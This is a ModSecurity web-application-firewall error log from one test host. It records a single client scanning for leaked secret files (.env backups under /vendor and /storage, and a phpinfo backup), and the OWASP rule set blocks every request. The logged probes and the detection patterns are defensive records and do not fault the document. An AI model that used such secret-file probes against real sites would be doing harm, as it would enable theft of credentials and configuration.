[Fri Oct 24 20:58:43.739582 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vendor/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env.save&quot;] [unique_id &quot;aPvMY-JZ4vgAgAbS8ck6KwAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:43.739848 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env.save&quot;] [unique_id &quot;aPvMY-JZ4vgAgAbS8ck6KwAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:43.740026 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env.save&quot;] [unique_id &quot;aPvMY-JZ4vgAgAbS8ck6KwAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:43.982655 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env.bak&quot;] [unique_id &quot;aPvMY-JZ4vgAgAbS8ck6LAAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:43.982849 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vendor/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env.bak&quot;] [unique_id &quot;aPvMY-JZ4vgAgAbS8ck6LAAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:43.983088 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env.bak&quot;] [unique_id &quot;aPvMY-JZ4vgAgAbS8ck6LAAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:43.983252 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env.bak&quot;] [unique_id &quot;aPvMY-JZ4vgAgAbS8ck6LAAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:44.156314 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env.old&quot;] [unique_id &quot;aPvMZOJZ4vgAgAbS8ck6LQAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:44.156512 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vendor/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env.old&quot;] [unique_id &quot;aPvMZOJZ4vgAgAbS8ck6LQAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:44.156777 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env.old&quot;] [unique_id &quot;aPvMZOJZ4vgAgAbS8ck6LQAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:44.156963 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env.old&quot;] [unique_id &quot;aPvMZOJZ4vgAgAbS8ck6LQAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:45.498441 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /storage/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env&quot;] [unique_id &quot;aPvMZeJZ4vgAgAbS8ck6LgAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:45.498702 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env&quot;] [unique_id &quot;aPvMZeJZ4vgAgAbS8ck6LgAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:45.498908 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env&quot;] [unique_id &quot;aPvMZeJZ4vgAgAbS8ck6LgAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:46.486804 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /storage/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env.save&quot;] [unique_id &quot;aPvMZuJZ4vgAgAbS8ck6LwAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:46.487078 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env.save&quot;] [unique_id &quot;aPvMZuJZ4vgAgAbS8ck6LwAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:46.487269 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env.save&quot;] [unique_id &quot;aPvMZuJZ4vgAgAbS8ck6LwAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:46.801321 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env.bak&quot;] [unique_id &quot;aPvMZuJZ4vgAgAbS8ck6MAAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:46.801510 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /storage/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env.bak&quot;] [unique_id &quot;aPvMZuJZ4vgAgAbS8ck6MAAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:46.801747 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env.bak&quot;] [unique_id &quot;aPvMZuJZ4vgAgAbS8ck6MAAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:46.801915 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env.bak&quot;] [unique_id &quot;aPvMZuJZ4vgAgAbS8ck6MAAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:46.985092 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env.old&quot;] [unique_id &quot;aPvMZuJZ4vgAgAbS8ck6MQAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:46.985299 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /storage/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env.old&quot;] [unique_id &quot;aPvMZuJZ4vgAgAbS8ck6MQAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:46.985604 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env.old&quot;] [unique_id &quot;aPvMZuJZ4vgAgAbS8ck6MQAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:46.985807 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env.old&quot;] [unique_id &quot;aPvMZuJZ4vgAgAbS8ck6MQAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:59:00.303389 2025] [:error] [pid 3735674] [client 52.28.200.164:52222] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/phpinfo.php.bak&quot;] [unique_id &quot;aPvMdDqiRrsqbAQUrtTltAAAAA4&quot;], referer: https://www.google.com/
[Fri Oct 24 20:59:00.303848 2025] [:error] [pid 3735674] [client 52.28.200.164:52222] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/phpinfo.php.bak&quot;] [unique_id &quot;aPvMdDqiRrsqbAQUrtTltAAAAA4&quot;], referer: https://www.google.com/
[Fri Oct 24 20:59:00.304036 2025] [:error] [pid 3735674] [client 52.28.200.164:52222] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/phpinfo.php.bak&quot;] [unique_id &quot;aPvMdDqiRrsqbAQUrtTltAAAAA4&quot;], referer: https://www.google.com/
